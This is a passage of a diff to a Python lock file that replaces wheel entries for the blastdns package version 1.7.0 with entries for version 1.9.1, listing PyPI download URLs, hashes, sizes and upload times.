"https://files.pythonhosted.org/packages/f6/d3/d7513296af220b34400e623ab477e173401adf15f6067444a446a4a80cb7/blastdns-1.7.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:83db5b604e5d6da15e599f0bb77f3bb6cded2e6d270132db2b626a3a6a33458c", size = 2428795, upload-time = "2026-03-24T20:04:37.769Z" }, - { url = "https://files.pythonhosted.org/packages/27/89/c37b2068cc5b542069c895f4afbab3feaabdb96b9f88cac70ff2cdd24abf/blastdns-1.7.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:030c77e58212bf78b27620d6252e978346917805ccf922e61b163355f9eeaca7", size = 2436320, upload-time = "2026-03-24T20:04:51.775Z" }, - { url = "https://files.pythonhosted.org/packages/d7/15/02d0d38c2f9fee2edae27ffb1d2ee10aabce6d4df7ad8290e54d523fb830/blastdns-1.7.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:a1e420ece2124d4b9401bfad43036c21943ce5c46eb9adf5f0c2303d8189abf3", size = 2019974, upload-time = "2026-03-24T20:04:06.054Z" }, - { url = "https://files.pythonhosted.org/packages/7e/c7/d83d88eff033bafe6e4adbdf7f80fa2dcaa1471868767a851975161d6ce9/blastdns-1.7.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1a7d1f2e278a5bf9db903748e2fc7331036037481dd950f04a1d55e25c8799e9", size = 1982922, upload-time = "2026-03-24T20:04:00.693Z" }, - { url = "https://files.pythonhosted.org/packages/10/be/674891d9eb970cc63b45e40baade7ec3184227b1cbb94adbb20d73a84a4a/blastdns-1.7.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd5fc1d8294f4586c44b467151e6dea109376db76090b4d2b0dcf766b482f908", size = 2196063, upload-time = "2026-03-24T20:02:51.813Z" }, - { url = "https://files.pythonhosted.org/packages/8c/f7/a1fdaf38226a9e4970088c11688d02bf6b53cd47193bc8caa96c6d0d8da0/blastdns-1.7.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6238ce0f582b69f40c9cb806a56c24433ad5bfd356b78e78d12ba8f6436d9e33", size = 2093273, upload-time = "2026-03-24T20:03:04.297Z" }, - { url = "https://files.pythonhosted.org/packages/3a/49/ce9bc63296f2c68c50c824afb62c16a96a5477af9093fa480f1df704c042/blastdns-1.7.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3118d1dae5b915f43420e47d43ac60d6573d8f4d8292333181aa36a06c312690", size = 2292003, upload-time = "2026-03-24T20:03:41.821Z" }, - { url = "https://files.pythonhosted.org/packages/2f/e1/feb11240f9c98b88fcef9406ae28496fcbdbab010be72fc4d4a270070421/blastdns-1.7.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a98e25f750e70777d59332f2a47817a38801207e73e649ec4cc559100f88aa5", size = 2531975, upload-time = "2026-03-24T20:03:16.974Z" }, - { url = "https://files.pythonhosted.org/packages/40/ff/547c82b9eb6ca056c3647bcd56d2fe846e40b4552b3458eca939ce51c44f/blastdns-1.7.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:064913f10c7226d091d3a0ea1b27971300b8a9501d35753b2112e5f6a86c7fab", size = 2250810, upload-time = "2026-03-24T20:03:29.963Z" }, - { url = "https://files.pythonhosted.org/packages/e2/da/7fb874e02021ce10e237eda16b5c9da9fc64d985c07cd312c179f54e65d2/blastdns-1.7.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6a175d03b7ba3acdfe7a91b0352198feb2b46d6e1c6f87a9af3624d21045449", size = 2189293, upload-time = "2026-03-24T20:03:52.296Z" }, - { url = "https://files.pythonhosted.org/packages/b1/f4/7b2fd042e679a6dc35f96600aa0f8332b70baebf64a50d1c10e07139de9b/blastdns-1.7.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:dc7ac08a3351f46dd5cb2b65fa0d1803394994d6770bb750738c1bec949d00e3", size = 2371927, upload-time = "2026-03-24T20:04:14.529Z" }, - { url = "https://files.pythonhosted.org/packages/e1/42/c5e978378b22c1ced8531bb79b5fc8ef61bf5730afaeb31de3ccbba7b98c/blastdns-1.7.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b6719f090e94fa46c7938a397be929046a5bbc83567ab73f831729bf8382069", size = 2366634, upload-time = "2026-03-24T20:04:26.253Z" }, - { url = "https://files.pythonhosted.org/packages/71/cf/f3464410d206adba9e05190ca0c0776ee78f9f507ab334984ef8001ada2b/blastdns-1.7.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:695714cebdc8fbccd96227da5f6fdb2288ed562aa0f25d9a22f6a344443ac325", size = 2430056, upload-time = "2026-03-24T20:04:39.109Z" }, - { url = "https://files.pythonhosted.org/packages/d1/14/49c2ae612d71a147319028ddf22e96f1d5e33ed8d726a650a23de8b9e920/blastdns-1.7.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e1ee0abeee571139d3c5ef038dc6395d064f21ef96f2272caba431d0d2f14c22", size = 2432432, upload-time = "2026-03-24T20:04:53.645Z" }, - { url = "https://files.pythonhosted.org/packages/70/64/65cc3709a63c23d5693ba6ffc4daaca82b5c38fda4db6bb6dc3c8aa9ace0/blastdns-1.7.0-cp314-cp314-win32.whl", hash = "sha256:a6124f03dec2bf5ce03085edebb4be73681e249f673271464ea30cb32f01f5c7", size = 1596427, upload-time = "2026-03-24T20:05:08.008Z" }, - { url = "https://files.pythonhosted.org/packages/51/43/b8cbbc7ef6980b0695796eed18750bdf8613b46e170af2df4cde2cb72c58/blastdns-1.7.0-cp314-cp314-win_amd64.whl", hash = "sha256:976c7abcab4450c83f8a0f3cbc4aaeddd52b6b5b91c00b77d0614d0185740bf0", size = 1810066, upload-time = "2026-03-24T20:05:06.093Z" }, - { url = "https://files.pythonhosted.org/packages/eb/a4/4d48f61a7332f8d2d754fe4f6f167c979d2c4657b3e166c627b698a87961/blastdns-1.7.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89da99c3566fc7f04b871bb97c73843acfd7f14b6dd1a003e64c09cae669235c", size = 2201036, upload-time = "2026-03-24T20:02:53.037Z" }, - { url = "https://files.pythonhosted.org/packages/6d/c4/2de51ed3b658195ecef026077acc806662f11b768b3105f921e722fc2b66/blastdns-1.7.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d725293489055f051585b576228114e74682199229c3d46435c18ae2c76be563", size = 2092097, upload-time = "2026-03-24T20:03:05.499Z" }, - { url = "https://files.pythonhosted.org/packages/05/37/d7ce9f84cb7c31209a0733206e60e21da0748c36e49869715551e6ff3259/blastdns-1.7.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5ab468552428305f499bc7959b7270abeee6ae7131b8ef6ce18698ee938f694", size = 2540570, upload-time = "2026-03-24T20:03:18.237Z" }, - { url = "https://files.pythonhosted.org/packages/f9/08/11bbd2a0829a5ab830398eb9a9c42aa48c8db83dc8ba62f44eb5a14d6147/blastdns-1.7.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:026e49a155fec007234af7e56ba2bec9261c5d1a237b4cc2c2e8c556780b2630", size = 2255361, upload-time = "2026-03-24T20:03:31.851Z" }, - { url = "https://files.pythonhosted.org/packages/0c/fb/a5c22a3271f346d06195d6393f0afc8f019ec9be30a4d388d0f0fcc633b5/blastdns-1.7.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:2a08deeef6c07fc646672d9fa3f6e060840847270b9858d5eac48d3e1beed4e8", size = 2376056, upload-time = "2026-03-24T20:04:15.796Z" }, - { url = "https://files.pythonhosted.org/packages/2f/cf/7b0e28a4ebcc765856513588ce247a602f947bb78548c47f537cb3ef182c/blastdns-1.7.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:ec20aafb0661389d3553d9ec47ace3d23e1176e3e0c8f6332dbb4d786b1020ce", size = 2362529, upload-time = "2026-03-24T20:04:27.901Z" }, - { url = "https://files.pythonhosted.org/packages/0d/12/0e91cd1c2c805cda915f731dfe26e79a1ebdfb0e8576ca3eb6456f1e0906/blastdns-1.7.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:4220d57421f69af9c12392a3bee0d3ed3c3050d12af765a98e682e77dbc482cb", size = 2430454, upload-time = "2026-03-24T20:04:40.708Z" }, - { url = "https://files.pythonhosted.org/packages/7d/73/b1aa5701e4f7999755ef645e253c63d6f127301cc357f69a7e7f68e8f31c/blastdns-1.7.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0e929be4d63037372b631a9d4392f95d8d8350cabb14f2698932b1658c6375ac", size = 2438385, upload-time = "2026-03-24T20:04:55.266Z" }, - { url = "https://files.pythonhosted.org/packages/4a/e2/9259e540014e454e3907b357673e8e39b3fc77262e61c76161910c75bbe8/blastdns-1.7.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1e069242c251ee3ad562985fffbd6e9f75c9c35666131520d87fa9ca1b445ef", size = 2209006, upload-time = "2026-03-24T20:02:56.033Z" }, - { url = "https://files.pythonhosted.org/packages/86/a2/e9451f07f1bbbbef1fcc1d5bb8cccf82bdae5e47c713c820a16bc4e4be61/blastdns-1.7.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f209e01a1e026a3a1879651f5d90b322fd7e31afe8d3a8cd31106c5c66ac2f33", size = 2097424, upload-time = "2026-03-24T20:03:08.519Z" }, - { url = "https://files.pythonhosted.org/packages/9c/dc/3940074519c3cc9c145e8d430189013feb72c30d79e057cb58ece1c2a75e/blastdns-1.7.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d40c577c42c4c20555497d95a6c76b279153bc4744f845b4aef61979c54ff84c", size = 2300754, upload-time = "2026-03-24T20:03:44.686Z" }, - { url = "https://files.pythonhosted.org/packages/73/ad/6302d7d9e64b42b22b6b0f8b1855034c3cf4eb8e91e56a9ac3f50e2d296d/blastdns-1.7.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1fd829749d22b716f34d425738d3a44483262fc33bafc14ce270087582f64027", size = 2542092, upload-time = "2026-03-24T20:03:21.254Z" }, - { url = "https://files.pythonhosted.org/packages/fc/7a/cc0d4615be54a2fd9840d74b53c4e4fdefd5d185d1e4dc679e012c7b206e/blastdns-1.7.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6cbb717844d9f5750d9858eabe60d8612c37049f1a75d9485c2a74b367786ae0", size = 2261121, upload-time = "2026-03-24T20:03:34.666Z" }, - { url = "https://files.pythonhosted.org/packages/2d/79/6db0ac9ba6bbb2960db2e26b12e5ce59e482e41a5d797f538828b0480875/blastdns-1.7.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f84f8163ed1c2d253e5c27165336c9a345f7156db838436363ebba452458dd95", size = 2200601, upload-time = "2026-03-24T20:03:55.182Z" }, - { url = "https://files.pythonhosted.org/packages/74/40/dea7ea419363fb0d85427ef06953abcdae5d21d24e144e6686c183276025/blastdns-1.7.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:c05c3f7cbaa548c0c4c0370d3a638bee0e353fec2166b35dfc8eecf0eda40a3b", size = 2386881, upload-time = "2026-03-24T20:04:18.594Z" }, - { url = "https://files.pythonhosted.org/packages/bd/77/266d41d27cda407949b6172e4747dc295209619a61b25431125f3a9a6807/blastdns-1.7.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:7882c72cb3bde080bb0ebaa3bfda8c89c2a7ada05a607beb44795a9ee28a578d", size = 2372121, upload-time = "2026-03-24T20:04:30.571Z" }, - { url = "https://files.pythonhosted.org/packages/6e/d1/e0f27947ebb10d144335fa45ba91171ba3525a7e15a20a33c45e4cbbab75/blastdns-1.7.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:0eb06f726e9812080cfc8e6fbec4270ed6277c436346e2140fd010510429b576", size = 2438787, upload-time = "2026-03-24T20:04:43.767Z" }, - { url = "https://files.pythonhosted.org/packages/6e/f7/460ed380bb978a1e0141805d4cdc82d5f0aa7318d37527f84dde7627d39e/blastdns-1.7.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:1c87cc8552da897bcfeaae54563e765bc8aef4120ce99de01736d6ba0c2ca732", size = 2444430, upload-time = "2026-03-24T20:04:57.944Z" }, +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/89/c606bd3d9e50771e168ad64745e4b9ef28fa511533d225735178eddab5c7/blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816", size = 2449222, upload-time = "2026-04-15T20:30:51.744Z" }, + { url = "https://files.pythonhosted.org/packages/56/97/8e10f45144e7644c6f9e7a9f96eb7e433ef34bc5e6e84ae3e50581ae24d1/blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404", size = 2321373, upload-time = "2026-04-15T20:31:06.388Z" }, + { url = "https://files.pythonhosted.org/packages/47/80/31f3383453114beeade87d99058e1513dd82dafd67002d09ee9337fa886c/blastdns-1.9.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:eb7833f85bbb8ac246ec55ca5aa9bf622f18d61f6566b4fbc6b3c42e99eae5a7", size = 2546563, upload-time = "2026-04-15T20:31:49.596Z" }, + { url = "https://files.pythonhosted.org/packages/45/76/eefa2fbe0be7781d33baf0b4670bc9d2db6aff0d94aeec1dd8d54c389683/blastdns-1.9.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:911516924ff9652cae0905ba218cd58f03d6e4c4d8972d8c00a3540496a15dad", size = 3519094, upload-time = "2026-04-15T20:31:20.464Z" }, + { url = "https://files.pythonhosted.org/packages/62/57/bbef43cfb51ed61977ac2e9d378d5e82ccf541ae3e4f1d318acd25ec6100/blastdns-1.9.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:693ba5b6820c6ab8cfd37202babeef354a2fca45ce51afcd8ffa912f2a50e82e", size = 2506642, upload-time = "2026-04-15T20:31:35.818Z" }, + { url = "https://files.pythonhosted.org/packages/e2/25/811477849e41c66e85047133ee4af7ecbd320c5b251988fee94c97c426f8/blastdns-1.9.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:06ebb94fbcc130acfc73356b36f135f9ca655a5ced9780c3ff9bee6394c91639", size = 2439602, upload-time = "2026-04-15T20:31:59.906Z" }, + { url = "https://files.pythonhosted.org/packages/a5/9f/c592c221970f278822f2f8bcefc2422eebf6cced23268d3fda7daec24e01/blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af", size = 2627363, upload-time = "2026-04-15T20:32:23.893Z" }, + { url = "https://files.pythonhosted.org/packages/74/41/9a3b74481259f76ce863a6d883779766970007952ceedd469a2d903421f7/blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a", size = 2594515, upload-time = "2026-04-15T20:32:37.097Z" }, + { url = "https://files.pythonhosted.org/packages/a7/41/23f2ab8eda0f31bf85b1f1aaa41dc2205c224f7032ba431434d78cfc0625/blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b", size = 2671944, upload-time = "2026-04-15T20:32:50.331Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d7/b4a757c662a45f82dc32fe916151caef24763f06ddf1d7ac571ff6f0ac51/blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8", size = 2655899, upload-time = "2026-04-15T20:32:17.262Z" }, + { url = "https://files.pythonhosted.org/packages/98/16/5fbb3f57e2a2da7b1ea954c4a7576a0216b8b6f45714cedc0da92c933183/blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11", size = 2522537, upload-time = "2026-04-15T20:32:10.658Z" }, + { url = "https://files.pythonhosted.org/packages/ab/7c/974f4a6f021fcf5a172dc9e6ab508527e5554576eb08f057f4d6345dca79/blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077", size = 2450776, upload-time = "2026-04-15T20:30:53.403Z" }, + { url = "https://files.pythonhosted.org/packages/ad/a3/dc118d2a4be9efc933b29add465451537e10de53ee59e08bc6bf34de85f9/blastdns-1.9.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7a51dce160ffee92b548553b8c01d50ffa6d1f4c16d153df6ec36cc04e4ce8cc", size = 2321089, upload-time = "2026-04-15T20:31:07.684Z" }, + { url = "https://files.pythonhosted.org/packages/79/e9/47ae75a10808c166c38cd989fc7b65b5e31755985030e30ae3535a0abaad/blastdns-1.9.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f9fb56f9f8a672518968f7a4d882718c75b4b42629baa76f55c8bb4f60c6d8d1", size = 2551494, upload-time = "2026-04-15T20:31:50.955Z" }, + { url = "https://files.pythonhosted.org/packages/6d/2f/f2f8f5b40c83b868a807c1e8dbeafb930a0568c96ba53e95cd5e5b6b345b/blastdns-1.9.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:d0d23e22bdbf4fc8f4c32ff073603c56c6efb9f4911a168d9f004de664a5b13f", size = 3520728, upload-time = "2026-04-15T20:31:22.339Z" }, + { url = "https://files.pythonhosted.org/packages/69/81/af8964cd04f861077d2e99698b62d7cf01d5c5c193d8a815f3970dcdc0e6/blastdns-1.9.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0e7603dc7e5fef925d03b5f28d75164e634ef2d6fc5b960671d0cf88380d7b70", size = 2507167, upload-time = "2026-04-15T20:31:37.313Z" }, + { url = "https://files.pythonhosted.org/packages/b4/8b/6326da63ad387377c0dd94f52426b276273f8cdf32eab17e4b3ba0ec4c0f/blastdns-1.9.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d2cc4189b98fd6d2ca2b41043f0a501455e8043562f9086fafb25c93ef053ad", size = 2438814, upload-time = "2026-04-15T20:32:01.274Z" }, + { url = "https://files.pythonhosted.org/packages/d5/30/d94d844101d7650982c6a686b41ba65fae84692f6a65147aea9756a4d09c/blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27", size = 2628570, upload-time = "2026-04-15T20:32:25.287Z" }, + { url = "https://files.pythonhosted.org/packages/63/a0/c2d1d9d6bcf20836b66b06c970e2674e5d531c98f5f8a5d8b80a2c31e413/blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6", size = 2595745, upload-time = "2026-04-15T20:32:38.459Z" }, + { url = "https://files.pythonhosted.org/packages/e9/f6/0c0e8a070cce991ba16227a3a1e8602f76a84db783cd2f3f170b2250a373/blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc", size = 2671215, upload-time = "2026-04-15T20:32:51.674Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f7/82d6bc99f2c3c65ee7d1c87627c9451ccb3c6dd1e21d1afb7caed4761c20/blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b", size = 2649921, upload-time = "2026-04-15T20:32:18.725Z" }, + { url = "https://files.pythonhosted.org/packages/96/c4/6f1b04ee737feeac6b78459708b6b6b5e4215b8a443945bbb5078a1dba0b/blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662", size = 2510639, upload-time = "2026-04-15T20:32:12.531Z" }, + { url = "https://files.pythonhosted.org/packages/b0/b4/80cc72f8e94a46743bc400d2336506388fcbffe0feeaeaec03410d451db6/blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027", size = 2449415, upload-time = "2026-04-15T20:30:55.661Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d6/459997181a1a0c8bd162c6f3b830732f49f39fd9e62d77dc1fde2b9fb953/blastdns-1.9.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:cb5745b8f4ea3929d090dfa18126b9094986ea2e5808a54cdb58a355e1360a82", size = 2319087, upload-time = "2026-04-15T20:31:09.425Z" }, + { url = "https://files.pythonhosted.org/packages/10/a8/d67e9a0212005a178ab1a5fa3ea7cd280fb00b981a1020b15a7cf87ea244/blastdns-1.9.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:7bd6bfc82e08624d1b40f1e4822b548f63829351e7f72080d69099b32fdb8361", size = 2549284, upload-time = "2026-04-15T20:31:52.737Z" }, + { url = "https://files.pythonhosted.org/packages/0a/e9/667b14a3cda6cd1bb31838c2769ec8533ce32aa5a3a905acc5db6e687851/blastdns-1.9.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e23dc048586e8b20523ecbc4c5931d8bc5485e79200207c4c6f91ad4b5ea980f", size = 3516061, upload-time = "2026-04-15T20:31:24.299Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f7/8b756e8a2dd781007763318b11fb2fb8f233dfb86f10409a69abc9b03c29/blastdns-1.9.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6c0472de6616e7ed20b5fb3784c41b52e64a0ff1079106be0140c6f00e19f6c6", size = 2503102, upload-time = "2026-04-15T20:31:38.968Z" }, + { url = "https://files.pythonhosted.org/packages/91/c8/6f689dc1491c13ebe1275943995c3376644e26c130fd0e30dae538477996/blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1", size = 2436641, upload-time = "2026-04-15T20:32:02.719Z" }, + { url = "https://files.pythonhosted.org/packages/d1/52/5376331c9278f5334b76dd48210e1fb10a83f4920516c7060ccde56ec6da/blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef", size = 2625799, upload-time = "2026-04-15T20:32:26.823Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d1/622c75809c143d51037daa8af9f3477e6e4606a12d58f5189b4da81e6511/blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4", size = 2593888, upload-time = "2026-04-15T20:32:39.932Z" }, + { url = "https://files.pythonhosted.org/packages/09/a2/ed3363e3cbc5d10fc2301fc0651bb316f203a287a331eb65ce0f0c0726d1/blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7", size = 2649286, upload-time = "2026-04-15T20:32:20.42Z" }, + { url = "https://files.pythonhosted.org/packages/db/15/1e37003ef21f8777b51f1abc85edae818358743a74b0a836a8a409383f91/blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399", size = 2510656, upload-time = "2026-04-15T20:32:14.308Z" }, + { url = "https://files.pythonhosted.org/packages/03/4e/b7f055bbe93b4201738c284482cd94d76b8f148381daa6774ddf509533f5/blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16", size = 2447985, upload-time = "2026-04-15T20:30:57.312Z" }, + { url = "https://files.pythonhosted.org/packages/14/d4/05a0eb6ce69da50e1a20a4374e685b54cafcf2550aa544280f77a56e7c88/blastdns-1.9.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4668ccfde0215c685a81e3e121ef5d0eafccdb940bb7f9d3f7b8ffb004955b51", size = 2319178, upload-time = "2026-04-15T20:31:11.009Z" }, + { url = "https://files.pythonhosted.org/packages/9d/a7/d483bf6db4762f9ac2772cac722659334cf704316bf8e1c190af5b2fd430/blastdns-1.9.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9f4b05ba48357b70f0ee9ff6dfc581aa3af55040e4b0db4e43c53e4c3d5c8e58", size = 2549530, upload-time = "2026-04-15T20:31:54.377Z" }, + { url = "https://files.pythonhosted.org/packages/77/c1/bc1eb90bb9fda8a354ffda502da723afa4aeaf7e7538ac94dea3e922dc4d/blastdns-1.9.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6da53361836a9b6d05daf391d8ce8f765de881e394827d5314021cb4c013eec7", size = 3515285, upload-time = "2026-04-15T20:31:26.049Z" }, + { url = "https://files.pythonhosted.org/packages/2c/2e/6dd47138c57efa03ef848f40c0ee5686f69fba028b72f8683173af7e44a2/blastdns-1.9.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:a10dbdcda0ab8c9cf641163cb568d820d51282d848bdd0c8627a51f3f6038163", size = 2501978, upload-time = "2026-04-15T20:31:40.265Z" }, + { url = "https://files.pythonhosted.org/packages/8c/95/cc06697ddb03d03fb6a171b337c9c649cd5bc3493b4e8c83e185eeef1dad/blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124", size = 2435831, upload-time = "2026-04-15T20:32:04.657Z" }, + { url = "https://files.pythonhosted.org/packages/9c/26/6a702d559328213e0e3e7bb3a7c8788031c42b0613ae363cfd5ee33d130d/blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed", size = 2625279, upload-time = "2026-04-15T20:32:28.256Z" }, + { url = "https://files.pythonhosted.org/packages/25/e4/fc227358013e8bce5896d4405ecc882520d4480da1c30efb6c0950e526ac/blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6", size = 2593895, upload-time = "2026-04-15T20:32:41.373Z" }, + { url = "https://files.pythonhosted.org/packages/47/49/2b51f2ba622a1723b75411fd2384d26a4d55576e0f642019fcba1ea5498a/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff", size = 2443445, upload-time = "2026-04-15T20:30:59.07Z" }, + { url = "https://files.pythonhosted.org/packages/f7/60/490cd9f4b40cc9ee0de49252f278798e0d020f002f2c3bd93669096050f5/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df", size = 2319663, upload-time = "2026-04-15T20:31:12.808Z" }, + { url = "https://files.pythonhosted.org/packages/d1/6c/b801b2706677a62cdac1c3dd46d618f3b1b18bd26b21a2df3531ab559ff4/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228", size = 3521129, upload-time = "2026-04-15T20:31:27.637Z" }, + { url = "https://files.pythonhosted.org/packages/71/83/81f22f8b06fe06e7cc1021d6d84a1f570300c7d3f7f1e8da94617d68aba6/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087", size = 2512375, upload-time = "2026-04-15T20:31:41.616Z" }, + { url = "https://files.pythonhosted.org/packages/59/6c/ff24de4e418c1b683db47975af30ea600deb96c6e8ea2163470b57d8ad85/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13", size = 2621796, upload-time = "2026-04-15T20:32:29.51Z" }, + { url = "https://files.pythonhosted.org/packages/52/53/60620d5ecab72926afcb197476c765f10d690b574786c1be8d3b8f5465a0/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = 